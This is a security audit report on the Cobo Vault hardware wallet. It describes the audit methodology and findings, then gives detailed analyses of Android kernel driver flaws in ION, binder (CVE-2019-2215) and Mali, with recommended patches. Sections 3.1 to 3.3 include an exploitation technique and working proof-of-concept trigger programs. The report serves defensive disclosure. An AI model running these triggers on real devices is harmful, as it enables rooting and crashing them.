HARDWARE WALLET AUDIT REPORT

for

COBO

Prepared By: Shuxiao Wang

Jun. 24, 2020

Document Properties

Client	Cobo
Title	Hardware Wallet Audit Report
Target	Cobo Vault
Version	1.0
Author	Huaguo Shi
Auditors	Chiachih Wu, Huaguo Shi, Xin Li
Reviewed by	Chiachih Wu
Approved by	Xuxian Jiang
Classification	Public

Version Info

Version	Date	Author(s)	Description
1.0	Jun. 24, 2020	Huaguo Shi	Final Release
1.0-rc2	Jun. 23, 2020	Huaguo Shi	Release Candidate #2
1.0-rc1	Jun. 2, 2020	Huaguo Shi	Release Candidate #1

Contact

For more information about this document and its contents, please contact PeckShield Inc.

Name	Shuxiao Wang
Phone	+86 173 6454 5338
Email	contact@peckshield.com

Contents

1 | Introduction

Given the opportunity to review the **Cobo Vault** design document and related hardware wallet source code, we in the report outline our systematic approach to evaluate potential security issues in the App and Secure Element implementation, expose possible semantic inconsistencies between wallet code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given version of **Cobo Vault** can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results.

1.1 About Cobo Vault

The Cobo Vault is among the safest hardware wallets available, thanks to its built-in secure element, tamper-proof design, and extreme damage resistance. It's also intuitive to use, despite its security protocols adding additional steps to the transaction signing process.

The basic information of Cobo Vault is as follows:

Table 1.1: Basic Information of Cobo Vault

Item	Description
Issuer	Cobo
Website	https://cobo.com/hardware-wallet
Type	Hardware Wallet
Platform	C/Java/Type Script
Audit Method	Whitebox
Latest Audit Report	Jun. 24, 2020

In the following, we show the Git repository of reviewed files and the commit hash value used in this audit:

- https://github.com/CoboVault/cobo-vault-cold (4d3ad8)

- https://github.com/CoboVault/cobo-vault-se-firmware (033a809)

- cobo_vault_cold_native.zip (72dd1e8dc0643740b4be9f6c5595f797bacb3276)

- cobo_mason_app.zip (e81096b297339d863bcd13605f21ec952c64f98f)

- https://github.com/cobowallet/crypto-coin-kit (ade6d5a)

1.2   About PeckShield

PeckShield Inc. [33] is a leading blockchain security company with the goal of elevating the security, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading services and products (including the service of smart contract auditing). We are reachable at Telegram (https://t.me/peckshield), Twitter (http://twitter.com/peckshield), or Email (contact@peckshield.com).

Table 1.2:   Vulnerability Severity Classification

Impact	High	Critical	High	Medium
	Medium	High	Medium	Low
	Low	Medium	Low	Low
		High	Medium	Low
		Likelihood		

1.3   Methodology

To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [32]:

- Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild;

- Impact measures the technical loss and business damage of a successful attack;

- Severity demonstrates the overall criticality of the risk.

Likelihood and impact are categorized into three ratings: *H*, *M* and *L*, i.e., *high*, *medium* and *low* respectively. Severity is determined by likelihood and impact and can be classified into four categories accordingly, i.e., *Critical*, *High*, *Medium*, *Low* shown in Table 1.2.

1.3.1 Fuzzing

In the first phase of our audit, we use fuzzing to find out possible corner cases or unusual inter-module interactions that may not be covered by in-house testing.

Fuzzing or fuzz testing is an automated software testing technique of discovering software vulnerabilities by providing unintended input to the target program and monitoring the unexpected results. As one of the most effective methods for exploiting vulnerabilities, fuzzing technology has been the first choice for many security researchers to discover vulnerabilities in recent years. At present, there are many fuzzy testing tools and supporting software, which can help security personnels to complete fuzzing and find vulnerabilities more efficiently. Based on the characteristics of the Cobo Vault, we use AFL [8] and go-fuzz [4] as the primary tool for fuzz testing.

AFL (American Fuzzy Lop) is a security-oriented fuzzer that employs a novel type of compile-time instrumentation and genetic algorithms to automatically discover clean, interesting test cases that trigger new internal states in the targeted binary. Since its inception, AFL has gained growing popularity in the industry and has proved its effectiveness in discovering quite a few significant software bugs in a wide range of major software projects. The basic process of AFL fuzzing is as follows:

- Generate compile-time instrumentation to record information such as code execution path;

- Construct some input files to join the input queue, and change input files according to different strategies;

- Files that trigger a crash or timeout when executing an input file are logged for subsequent analysis;

- Loop through the above process

Throughout the AFL testing, we will reproduce each crash based on the crash file generated by AFL. For each reported crash case, we will further analyze the root cause and check whether it is indeed a vulnerability. Once a crash case is confirmed as a vulnerability of the Cobo Vault, we will further analyze it as part of the white-box audit.

go-fuzz is a fuzzing tool inspired by AFL, for code written in Go language. It's a coverage guided fuzzing solution and mainly applicable to packages that parse complex inputs (both text and binary), and is especially useful for hardening of systems that parse inputs from potentially malicious users (e.g., anything accepted over a network).

1.3.2 White-box Audit

After fuzzing, we continue the white-box audit by manually analyzing source code. Here we test target software's internal structure, design, coding, and we focus on verifying the flow of input and

output through the application as well as examining possible design and implementation trade-offs for strengthened security. PeckShield auditors first fully review and understand the source code, then we create specific test cases, execute them and analyze the results. Issues such as internal security holes, unexpected output, broken or poorly structured paths, etc., in the targeted software will be inspected.

- Data and state storage, which is related to the password and mnemonic where wallet data are saved.

- Operating system. These are system-level, the wallet App base on Android system.

- Secure Element. The core security module of the hardware wallet.

- Others. Software modules not included above are checked here, such as common crypto or other 3rd-party libraries, best practice or optimization used in other software projects, design and coding consistency, etc.

Based on the above classification, here is the detailed list of the audited items as shown in Table 1.3.

To better describe each issue we identified, we also categorize the findings based on Common Weakness Enumeration (CWE-699) [31], which is a community-developed list of software weakness types to better classify and organize weaknesses around concepts frequently encountered in software development. We use the CWE categories in Table 1.4 to classify our findings.

1.4 Disclaimer

Note that this audit does not give any warranties on finding all possible security issues of the given hardware wallet software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of wallet software. Last but not least, this security audit should not be used as an investment advice.

Table 1.3: The Full List of Audited Items

Category	Check Item
Data and State Storage	Mnemonic Security
	Verify Security
Upgrade Operation	App Upgrade Security
	Secure Element Upgrade Security
	System Upgrade Security
Operating System	Check New Patch
	Anti Root
Application	Business Logic
	Interface Security
	Transaction Privacy Security
Secure Element (SE)	Implementation Logic Security
	Privilege Control Security
	Storage Algorithm Security
Others	Third Party Library Security
	Memory Leak Detection
	Exception Handling
	Log Security
	Coding Suggestion And Optimization
	Design Document And Code Implementation Uniformity

Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit

Category	Summary
Configuration	Weaknesses in this category are typically introduced during the configuration of the software.
Data Processing Issues	Weaknesses in this category are typically found in functionality that processes data.
Numeric Errors	Weaknesses in this category are related to improper calculation or conversion of numbers.
Security Features	Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.)
Time and State	Weaknesses in this category are related to the improper management of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads.
Error Conditions, Return Values, Status Codes	Weaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function.
Resource Management	Weaknesses in this category are related to improper management of system resources.
Behavioral Issues	Weaknesses in this category are related to unexpected behaviors from code that an application uses.
Business Logics	Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application.
Initialization and Cleanup	Weaknesses in this category occur in behaviors that are used for initialization and breakdown.
Arguments and Parameters	Weaknesses in this category are related to improper use of arguments or parameters within function calls.
Expression Issues	Weaknesses in this category are related to incorrectly written expressions within code.
Coding Practices	Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an exploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained.

PeckShield Audit Report #: 2020-09

2 | Findings

2.1 Summary

Here is a summary of our findings after analyzing the Cobo Vault implementation. During the first phase of our audit, we studied the wallet source code and ran our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review the business logic, examine system operations, and analyze the security issues of private key storage and signature verification, and place aspects under scrutiny to uncover possible pitfalls and/or bugs.

Severity	# of Findings	
Critical	2	
High	5	
Medium	5	
Low	2	
Informational	5	
Total	19	

We have so far identified a list of potential issues: some of them involve subtle corner cases that might not be previously thought of, such as the system security issue of the wallet, while others refer to unusual interactions among App and secure element. For each uncovered issue, we have therefore developed test cases for reasoning, reproduction, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3.

2.2   Key Findings

Overall, the Cobo Vault are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 2 critical-severity vulnerability, 5 high-severity vulnerability, 5 medium-severity vulnerability, 2 low-severity vulnerabilities, and 5 informational recommendations.

Table 2.1:   Key Audit Findings

ID	Severity	Title	Category	Status
PVE-001	Medium	Use-After-Free Loophole in ION Driver	Coding Practices	Resolved
PVE-002	Critical	Use-After-Free Loophole in Binder Driver	Coding Practices	Resolved
PVE-003	Medium	Denial-of-Service Loophole in Mali Driver	Error Conditions	Resolved
PVE-004	Medium	Out-of-bounds Write in Secure Element Firmware	Memory Buffer	Resolved
PVE-005	Info.	Memory Buffer Size Overflow in TrustKernel TEE Driver	Memory Buffer	Resolved
PVE-006	High	Weak Fingerprint Verification	Business Logic	Resolved
PVE-007	High	Weak Password Verification	Business Logic	Resolved
PVE-008	Info.	Redundant API in Secure Element	Coding Practices	Resolved
PVE-009	High	Risk of Mnemonic Theft in Application Layer	Info. Mgmt	Resolved
PVE-010	Low	Risk of Mnemonic Theft in Secure Element	Credentials Mgmt	Confirmed
PVE-011	Low	Possible Delete Mnemonics Directly in Secure Element	Business Logic Errors	Confirmed
PVE-012	High	Missing Authentication before Signing Transactions in Secure Element	Business Logic	Resolved
PVE-013	High	Missing Integrity Check on Secure Element Firmware	Business Logic	Resolved
PVE-014	Info.	Duplicate Code in Secure Element	Coding Practices	Resolved
PVE-015	Medium	Arbitrary Memory Write in Secure Element	Memory Buffer	Resolved
PVE-016	Info.	Denial-of-Service Loophole in perf_event	Concurrency Issues	Resolved
PVE-017	Info.	Denial-of-Service Loophole in Sound Driver	Concurrency Issues	Resolved
PVE-018	Medium	Use of Out-of-range Pointer Offset in Secure Element	Pointer Issues	Resolved
PVE-019	Critical	Out-of-bounds Write in TrustKernel TEE Driver	Memory Buffer	Resolved

Please refer to Section 3 for details.

3 | Detailed Results

3.1 Use-After-Free Loophole in ION Driver

- ID: PVE-001
- Severity: Medium
- Likelihood: Low
- Impact: High

- Target: ion.c
- Category: Coding Practice [23]
- CWE subcategory: CWE-416 [18]

Description

This critical vulnerability has been identified and fixed in this commit [5]. Since `/dev/ion` is reachable on the target system, this use-after-free could be exploited to corrupt kernel space memory, leading to local privilege escalation. The technical details about this loophole are elaborated as follows. In `ion_ioctl()`, the `ION_IOC_MAP` or `ION_IOC_SHARE` handler gets the `ion_handle` through `ion_handle_get_by_id()` (line 1495). Later on, in line 1501, the `handle` is released by `ion_handle_put()`.

```
1490    case ION_IOC_SHARE:
1491    case ION_IOC_MAP:
1492    {
1493        struct ion_handle *handle;

1495        handle = ion_handle_get_by_id(client, data.handle.handle);
1496        if (IS_ERR(handle)) {
1497            ret = PTR_ERR(handle);
1498            IONMSG("ION_IOC_SHARE handle is invalid. handle = %d, ret = %d.\n", data.
                    handle.handle, ret);
1499            return ret;
1500        }
1501        data.fd.fd = ion_share_dma_buf_fd(client, handle);
1502        ion_handle_put(handle);
1503        if (data.fd.fd < 0) {
1504            IONMSG("ION_IOC_SHARE fd = %d.\n", data.fd.fd);
1505            ret = data.fd.fd;
1506        }
1507        break;
```

```
1508         }
```

Listing 3.1: ion.c

Since the `ion_handle` could be referenced by multiple parties, the ION driver utilizes the reference count mechanism to make sure that the memory would only be released when the reference count is decremented to 0. As shown in `ion_handle_put()`, `ion_handle_put_nolock()` is called with `client->lock` held (line 357). Inside `ion_handle_put_nolock()`, `handle->ref` is `kref_put()`'ed and `ion_handle_destroy()` is called when the reference count is 0.

```
342  static int ion_handle_put_nolock(struct ion_handle *handle)
343  {
344      int ret;

346      ret = kref_put(&handle->ref, ion_handle_destroy);

348      return ret;
349  }

351  int ion_handle_put(struct ion_handle *handle)
352  {
353      struct ion_client *client = handle->client;
354      int ret;

356      mutex_lock(&client->lock);
357      ret = ion_handle_put_nolock(handle);
358      mutex_unlock(&client->lock);

360      return ret;
361  }
```

Listing 3.2: ion.c

In the end of `ion_handle_destroy()`, the `handle` is released by `kfree()`.

```
308  static void ion_handle_destroy(struct kref *kref)
309  {
310      struct ion_handle *handle = container_of(kref, struct ion_handle, ref);
311      struct ion_client *client = handle->client;
312      struct ion_buffer *buffer = handle->buffer;

314      mutex_lock(&buffer->lock);
315      while (handle->kmap_cnt)
316          ion_handle_kmap_put(handle);
317      mutex_unlock(&buffer->lock);

319      idr_remove(&client->idr, handle->id);
320      if (!RB_EMPTY_NODE(&handle->node))
321          rb_erase(&handle->node, &client->handles);

323      ion_buffer_remove_from_handle(buffer);
324      ion_buffer_put(buffer);
```

PeckShield Audit Report #: 2020-09

```
326        handle->buffer = NULL;
327        handle->client = NULL;

329        kfree(handle);
330 }
```

Listing 3.3: ion.c

As described in the commit message, a bad actor can use two threads to trick the `ION_IOC_MAP` handler to use the freed `ion_handle` due to the lacks of mutex lock mechanism.

```
1 - thread A: ION_IOC_ALLOC creates an ion_handle with refcount 1
2 - thread A: starts ION_IOC_MAP and increments the refcount to 2
3 - thread B: ION_IOC_FREE decrements the refcount to 1
4 - thread B: ION_IOC_FREE decrements the refcount to 0 and frees the
5               handle
6 - thread A: continues ION_IOC_MAP with a dangling ion_handle * to
7               freed memory
```

If we look into the `ion_buffer_put()` function called by `ion_handle_destroy()`, we can see how this loophole could be exploited to hijack the control flow inside Linux kernel. Since the `ion_buffer` is also managed by the reference count mechanism, `_ion_buffer_destroy()` would be invoked when `buffer->ref == 0`.

```
250 static int ion_buffer_put(struct ion_buffer *buffer)
251 {
252     return kref_put(&buffer->ref, _ion_buffer_destroy);
253 }
```

Listing 3.4: ion.c

By crafting the `buffer->heap->flags`, the attacker could simply get into `ion_buffer_destroy()` in line 242.

```
229 static void _ion_buffer_destroy(struct kref *kref)
230 {
231     struct ion_buffer *buffer = container_of(kref, struct ion_buffer, ref);
232     struct ion_heap *heap = buffer->heap;
233     struct ion_device *dev = buffer->dev;

235     mutex_lock(&dev->buffer_lock);
236     rb_erase(&buffer->node, &dev->buffers);
237     mutex_unlock(&dev->buffer_lock);

239     if (heap->flags & ION_HEAP_FLAG_DEFER_FREE)
240         ion_heap_freelist_add(heap, buffer);
241     else
242         ion_buffer_destroy(buffer);
243 }
```

Listing 3.5: ion.c

Here's the interesting part. Inside `ion_buffer_destroy()`, the `unmap_kernel()` function pointer is called in line 221. It means if the attacker sprays the {`struct ion_handle`}-sized slabs successfully, she can craft the `handle->buffer` with the `handle->buffer->heap->ops->unmap_kernel` pointing to the shellcode, which leads to kernel control flow hijacking.

```
218  void ion_buffer_destroy(struct ion_buffer *buffer)
219  {
220      if (WARN_ON(buffer->kmap_cnt > 0))
221          buffer->heap->ops->unmap_kernel(buffer->heap, buffer);
```

Listing 3.6: ion.c

```
112  struct ion_handle {
113      struct kref ref;
114      unsigned int user_ref_count;
115      struct ion_client *client;
116      struct ion_buffer *buffer;
117      struct rb_node node;
118      unsigned int kmap_cnt;
119      int id;
120      struct ion_handle_debug dbg; /*add by K for debug */
121  };
```

Listing 3.7: drivers/staging/android/ion/ion_priv.h

Fortunately, the target platform has only one CPU core activated which makes the window of heap spraying really small. By the time writing the report, this vulnerability cannot be triggered successfully such that we set the likelyhood as <u>low</u>.

Recommendation   Apply the patch [5].

3.2   Use-After-Free Loophole in Binder Driver

- ID: PVE-002
- Severity: Critical
- Likelihood: High
- Impact: High

- Target: binder.c
- Category: Coding Practice [23]
- CWE subcategory: CWE-416 [18]

Description

This bug had been published by Project Zero as CVE-2019-2215 [9]. Since the binder driver is reachable from `/dev/hwbinder` on the Cobo Vault Android system, this unpatched vulnerability, as suggested by Project Zero's report, could be exploited to arbitrarily read/write kernel space memory, leading to privilege escalation — rooting the device.

As a short summary, the loophole is in the handler of releasing a binder thread which could be triggered by the `BINDER_THREAD_EXIT` ioctl. The magic under the hood is that the `BINDER_THREAD_EXIT` ioctl eventually reaches `binder_thread_dec_tmpref()` which calls `binder_free_thread()` when the thread is dead and the reference count is 0 (line $1977-1979$) without decoupling the binder thread from the listed-list kept by epoll.

```c
1969  static void binder_thread_dec_tmpref(struct binder_thread *thread)
1970  {
1971      /*
1972       * atomic is used to protect the counter value while
1973       * it cannot reach zero or thread->is_dead is false
1974       */
1975      binder_inner_proc_lock(thread->proc);
1976      atomic_dec(&thread->tmp_ref);
1977      if (thread->is_dead && !atomic_read(&thread->tmp_ref)) {
1978          binder_inner_proc_unlock(thread->proc);
1979          binder_free_thread(thread);
1980          return;
1981      }
1982      binder_inner_proc_unlock(thread->proc);
1983  }
```

Listing 3.8: binder.c

As shown in the following code snippets, the `struct binder_thread *` pointer is released with `kfree()` in line 4466.

```c
4460  static void binder_free_thread(struct binder_thread *thread)
4461  {
4462      BUG_ON(!list_empty(&thread->todo));
4463      binder_stats_deleted(BINDER_STAT_THREAD);
4464      binder_proc_dec_tmpref(thread->proc);
4465      put_task_struct(thread->task);
4466      kfree(thread);
4467  }
```

Listing 3.9: binder.c

However, in the context of `ep_remove_wait_queue()`, the `wait` member (line 633) in the previously released `struct binder_thread` is still referenced.

```c
622  struct binder_thread {
623      struct binder_proc *proc;
624      struct rb_node rb_node;
625      struct list_head waiting_thread_node;
626      int pid;
627      int looper;              /* only modified by this thread */
628      bool looper_need_return; /* can be written by other thread */
629      struct binder_transaction *transaction_stack;
630      struct list_head todo;
631      struct binder_error return_error;
632      struct binder_error reply_error;
```

```
633      wait_queue_head_t wait;
634      struct binder_stats stats;
635      atomic_t tmp_ref;
636      bool is_dead;
637      struct task_struct *task;
638 };
```

Listing 3.10: binder.c

While performing `EPOLL_CTL_DEL`, `ep_remove_wait_queue()` calls `remove_wait_queue()` to remove the binder thread from the list.

```
517 static void ep_remove_wait_queue(struct eppoll_entry *pwq)
518 {
519     wait_queue_head_t *whead;

521     rcu_read_lock();
522     /*
523      * If it is cleared by POLLFREE, it should be rcu-safe.
524      * If we read NULL we need a barrier paired with
525      * smp_store_release() in ep_poll_callback(), otherwise
526      * we rely on whead->lock.
527      */
528     whead = smp_load_acquire(&pwq->whead);
529     if (whead)
530         remove_wait_queue(whead, &pwq->wait);
531     rcu_read_unlock();
532 }
```

Listing 3.11: fs/eventpoll.c

The freed `wait_queue_head_t` is used in `remove_wait_queue()` while locking the `q->lock` spinlock.

```
44 void remove_wait_queue(wait_queue_head_t *q, wait_queue_t *wait)
45 {
46     unsigned long flags;

48     spin_lock_irqsave(&q->lock, flags);
49     __remove_wait_queue(q, wait);
50     spin_unlock_irqrestore(&q->lock, flags);
51 }
```

Listing 3.12: kernel/sched/wait.c

Furthermore, `__remove_wait_queue()` corrupts the freed `wait_queue_head_t` by clobbering the `list_head` pointers.

```
142 static inline void
143 __remove_wait_queue(wait_queue_head_t *head, wait_queue_t *old)
144 {
145     list_del(&old->task_list);
146 }
```

Listing 3.13: include/linux/wait.h

This critical vulnerability could be exploited with the following attack code. The heap spray part is not included here. Since the size of `struct binder_thread` is 400 on the target system, the bad actor should spray the 448-bytes slabs right after the <u>free</u> operation (i.e., `ioctl(BINDER_THREAD_EXIT)`) and perform the <u>use</u> operation (i.e., `close(epfd)` which is done automatically when the program terminates) to clobber kernel space memory.

```c
1  main()
2  {
3      int fd, epfd;
4      struct epoll_event event = { .events = EPOLLIN };

6      fd = open("/dev/hwbinder", O_RDONLY);
7      epfd = epoll_create(1000);
8      epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
9      ioctl(fd, BINDER_THREAD_EXIT, NULL);

11     return 0;
12 }
```

Listing 3.14: pwn.c

Recommendation Apply the patch for android-3.18 [2].

3.3 Denial-of-Service Loophole in Mali Driver

- ID: PVE-003
- Severity: Medium
- Likelihood: High
- Impact: Low

- Target: mali_pp_job.c, mali_memory_manager.c
- Category: Error Conditions [27]
- CWE subcategory: CWE-617 [19]

Description

The Mali driver is the ARM GPU driver which is reachable through `/dev/mali`. Tons of `ioctl`s are available for various operations related to the gpu hardware. During our analysis, we identified that some of the `ioctl`s could be exploited to crash the Linux kernel, leading to a denial-of-service vulnerability. Specifically, throughout the Mali driver codebase, `MALI_DEBUG_ASSERT` is used to validate the conditions such as the value of pointers, the range of memory size, etc. However, as shown in the following code snippets, the underlying function of `MALI_DEBUG_ASSERT` dumps the stack and crashes the machine by dereferencing a NULL pointer.

```c
156     #define MALI_DEBUG_ASSERT(condition) do {if( !(condition)) {MALI_PRINT_ERROR(("
            ASSERT failed: " #condition )); _mali_osk_break();} } while(0)
```

Listing 3.15: mali_kernel_common.h

PeckShield Audit Report #: 2020-09

```
45  void _mali_osk_abort(void)
46  {
47      /* make a simple fault by dereferencing a NULL pointer */
48      dump_stack();
49      *(int *)0 = 0;
50  }

52  void _mali_osk_break(void)
53  {
54      _mali_osk_abort();
55  }
```

<div align="center">Listing 3.16: mali_osk_misc.c</div>

It means an attacker could crash the machine if she finds a way to trigger a `MALI_DEBUG_ASSERT` call. In the following, we identified multiple paths to the reachable `MALI_DEBUG_ASSERT` or `MALI_DEBUG_ASSERT_POINTER` calls.

Case I As shown in the following code snippets, `mali_pp_job_create()` is invoked with an user-level pointer `uargs` which is the third parameter of the `ioctl` system call. In line 53, the content of a user provided buffer pointed by `uargs` is copied into the kernel space buffer `job->uargs` which is allocated by `_mali_osk_calloc()` (line 46), which makes it possible to craft the `job->nargs.num_cores` for entering the error handler, intentionally, in line 59.

```
40  struct mali_pp_job *mali_pp_job_create(struct mali_session_data *session,
41                          _mali_uk_pp_start_job_s __user *uargs, u32 id)
42  {
43      struct mali_pp_job *job;
44      u32 perf_counter_flag;

46      job = _mali_osk_calloc(1, sizeof(struct mali_pp_job));
47      if (NULL != job) {

49          _mali_osk_list_init(&job->list);
50          _mali_osk_list_init(&job->session_fb_lookup_list);
51          _mali_osk_atomic_inc(&session->number_of_pp_jobs);

53          if (0 != _mali_osk_copy_from_user(&job->uargs, uargs, sizeof(
                _mali_uk_pp_start_job_s))) {
54              goto fail;
55          }

57          if (job->uargs.num_cores > _MALI_PP_MAX_SUB_JOBS) {
58              MALI_PRINT_ERROR(("Mali PP job: Too many sub jobs specified in job object\n"
                    ));
59              goto fail;
```

<div align="center">Listing 3.17: mali_pp_job.c</div>

The `go fail` statement leads to `mali_pp_job_delete()`.

```
136  fail:
```

```
137      if (NULL != job) {
138          mali_pp_job_delete(job);
139      }

141      return NULL;
142 }
```

Listing 3.18: mali_pp_job.c

In the very beginning of `mali_pp_job_delete()`, `job->list` is validated to ensure that the linked-list is not empty. However, as mentioned earlier, an attacker can intentionally creates an empty `job->list` and triggers `MALI_DEBUG_ASSERT()` in line 149, which leads to `_mali_osk_break()`.

```
144 void mali_pp_job_delete(struct mali_pp_job *job)
145 {
146      struct mali_session_data *session;

148      MALI_DEBUG_ASSERT_POINTER(job);
149      MALI_DEBUG_ASSERT(_mali_osk_list_empty(&job->list));
```

Listing 3.19: mali_pp_job.c

The so-called <u>reachable assertion</u> loophole could be triggered by the following attack code. As you can see in line 15, the bad actor can simply set a large `num_cores` and use the `ioctl` system call to crash the machine.

```
1 main()
2 {
3      int fd;
4      _mali_uk_pp_start_job_s x;

6      fd = open("/dev/mali", O_RDONLY);

8      if ( fd < 0 ) {
9          printf("[-] Failed to open device (%s)\n", strerror(errno));
10         goto out;
11     }

13     printf("[+] Device opened at %d\n", fd);

15     x.num_cores = 0xcafebabe;

17     ioctl(fd, MALI_IOC_PP_START_JOB, &x);

19 close_out:
20     close(fd);
21 out:
22     return 0;
23 }
```

Listing 3.20: pwn.c

Case II There's another DoS loophole which is reachable through the `MALI_IOC_MEM_UNBIND` ioctl. As shown in the following code snippets, `_mali_ukk_mem_unbind()` is called with the `args` pointer which points to a memory area controllable by possible attackers. In line 777, `mali_addr` is set to `args->vaddr` which could be a crafted virtual address. Later on, the crafted `mali_addr` is sent into `mali_vma_offset_search()` for searching the `mali_vma_node` in line 781. As an error handling mechanism, `MALI_DEBUG_ASSERT()` is triggered in line 786 when `mali_vma_node` is `NULL`, this leads to the NULL pointer dereference which crashes the system.

```
771   _mali_osk_errcode_t _mali_ukk_mem_unbind(_mali_uk_unbind_mem_s *args)
772   {
773       /**/
774       struct mali_session_data *session = (struct mali_session_data *)(uintptr_t)args->
              ctx;
775       mali_mem_allocation *mali_allocation = NULL;
776       struct mali_vma_node *mali_vma_node = NULL;
777       u32 mali_addr = args->vaddr;
778       MALI_DEBUG_PRINT(5, (" _mali_ukk_mem_unbind, vaddr=0x%x! \n", args->vaddr));

780       /* find the allocation by vaddr */
781       mali_vma_node = mali_vma_offset_search(&session->allocation_mgr, mali_addr, 0);
782       if (likely(mali_vma_node)) {
783           MALI_DEBUG_ASSERT(mali_addr == mali_vma_node->vm_node.start);
784           mali_allocation = container_of(mali_vma_node, struct mali_mem_allocation,
                  mali_vma_node);
785       } else {
786           MALI_DEBUG_ASSERT(NULL != mali_vma_node);
787           return _MALI_OSK_ERR_INVALID_ARGS;
788       }
```

Listing 3.21: mali_memory_manager.c

The DoS loophole could be triggered by the following attack code. In line 15, a bad actor can craft a random `vaddr` to fail the search for `mali_vma_node` and crashes the system intentionally.

```
1    main()
2    {
3        int fd;
4        _mali_uk_unbind_mem_s x;

6        fd = open("/dev/mali", O_RDONLY);

8        if ( fd < 0 ) {
9            printf("[-] Failed to open device (%s)\n", strerror(errno));
10           goto out;
11       }

13       printf("[+] Device opened at %d\n", fd);

15       x.vaddr = 0xcafebabe;

17       ioctl(fd, MALI_IOC_MEM_UNBIND, &x);
```

```
19  close_out:
20      close(fd);
21  out:
22      return 0;
23  }
```

Listing 3.22: pwn.c

Case III There's yet another DoS loophole which is reachable through the `MALI_IOC_MEM_COW` ioctl. As shown in the following code snippets, `_mali_ukk_mem_cow()` is called with the `args` pointer which points to a memory area controllable by possible attackers. In line 819, the crafted `args-> target_handle` is sent into `mali_mem_backend_struct_search()` for searching the `target_backend`. As an error handling mechanism, `MALI_DEBUG_ASSERT()` is triggered in line 822 when `target_backend` is `NULL`, this leads to the NULL pointer dereference which crashes the system.

language

```
809  _mali_osk_errcode_t _mali_ukk_mem_cow(_mali_uk_cow_mem_s *args)
810  {
811      _mali_osk_errcode_t ret = _MALI_OSK_ERR_FAULT;
812      mali_mem_backend *target_backend = NULL;
813      mali_mem_backend *mem_backend = NULL;
814      struct mali_vma_node *mali_vma_node = NULL;
815      mali_mem_allocation *mali_allocation = NULL;

817      struct mali_session_data *session = (struct mali_session_data *)(uintptr_t)args->
             ctx;
818      /* Get the target backend for cow */
819      target_backend = mali_mem_backend_struct_search(session, args->target_handle);

821      if (NULL == target_backend || 0 == target_backend->size) {
822          MALI_DEBUG_ASSERT_POINTER(target_backend);
823          MALI_DEBUG_ASSERT(0 != target_backend->size);
824          return ret;
825      }
```

Listing 3.23: mali_memory_manager.c

The DoS loophole could be triggered by the following attack code. In line 15, a bad actor can craft a random `target_handle` to fail the search for `target_backend` and crashes the system intentionally.

```
1  main()
2  {
3      int fd;
4      _mali_uk_cow_mem_s x;

6      fd = open("/dev/mali", O_RDONLY);

8      if ( fd < 0 ) {
9          printf("[-] Failed to open device (%s)\n", strerror(errno));
10         goto out;
```

```
11       }

13       printf("[+] Device opened at %d\n", fd);

15       x.target_handle = 0xcafebabe;

17       ioctl(fd, MALI_IOC_MEM_COW, &x);

19  close_out:
20       close(fd);
21  out:
22       return 0;
23  }
```

<div align="center">Listing 3.24: pwn.c</div>

Case IV   As shown in the following code snippets, `_mali_ukk_mem_cow_modify_range()` is called with the `args` pointer which points to a memory area controllable by possible attackers. In line 945, the crafted `args->vaddr` is sent into `mali_mem_backend_struct_search()` for searching the `mem_backend`. As an error handling mechanism, `MALI_DEBUG_ASSERT()` is triggered in line 948 when `mem_backend` is `NULL`, this leads to the NULL pointer dereference which crashes the system.

language

```
937  _mali_osk_errcode_t _mali_ukk_mem_cow_modify_range(_mali_uk_cow_modify_range_s *args)
938  {
939      _mali_osk_errcode_t ret = _MALI_OSK_ERR_FAULT;
940      mali_mem_backend *mem_backend = NULL;
941      struct mali_session_data *session = (struct mali_session_data *)(uintptr_t)args->
             ctx;

943      MALI_DEBUG_PRINT(4, (" _mali_ukk_mem_cow_modify_range called! \n"));
944      /* Get the backend that need to be modified. */
945      mem_backend = mali_mem_backend_struct_search(session, args->vaddr);

947      if (NULL == mem_backend || 0 == mem_backend->size) {
948          MALI_DEBUG_ASSERT_POINTER(mem_backend);
949          MALI_DEBUG_ASSERT(0 != mem_backend->size);
950          return ret;
951      }
```

<div align="center">Listing 3.25: mali_memory_manager.c</div>

The DoS loophole could be triggered by the following attack code. In line 15, a bad actor can craft a random `vaddr` to fail the search for `mem_backend` and crashes the system intentionally.

```
1  main()
2  {
3      int fd;
4      _mali_uk_cow_modify_range_s x;

6      fd = open("/dev/mali", O_RDONLY);
```

```
8       if ( fd < 0 ) {
9           printf("[-] Failed to open device (%s)\n", strerror(errno));
10          goto out;
11      }

13      printf("[+] Device opened at %d\n", fd);

15      x.vaddr = 0xcafebabe;

17      ioctl(fd, MALI_IOC_MEM_COW_MODIFY_RANGE, &x);

19 close_out:
20      close(fd);
21 out:
22      return 0;
23 }
```

Listing 3.26: pwn.c

Case V As shown in the following code snippets, `_mali_ukk_mem_resize` is called with the `args` pointer which points to a memory area controllable by possible attackers. In line 1006, the likely crafted `args->psize` is validated to ensure that it is aligned to `MALI_MMU_PAGE_SIZE`. As an error handling mechanism, `MALI_DEBUG_ASSERT()` is triggered when `args->psize` is not aligned to `MALI_MMU_PAGE_SIZE`, this leads to the NULL pointer dereference which crashes the system.

```
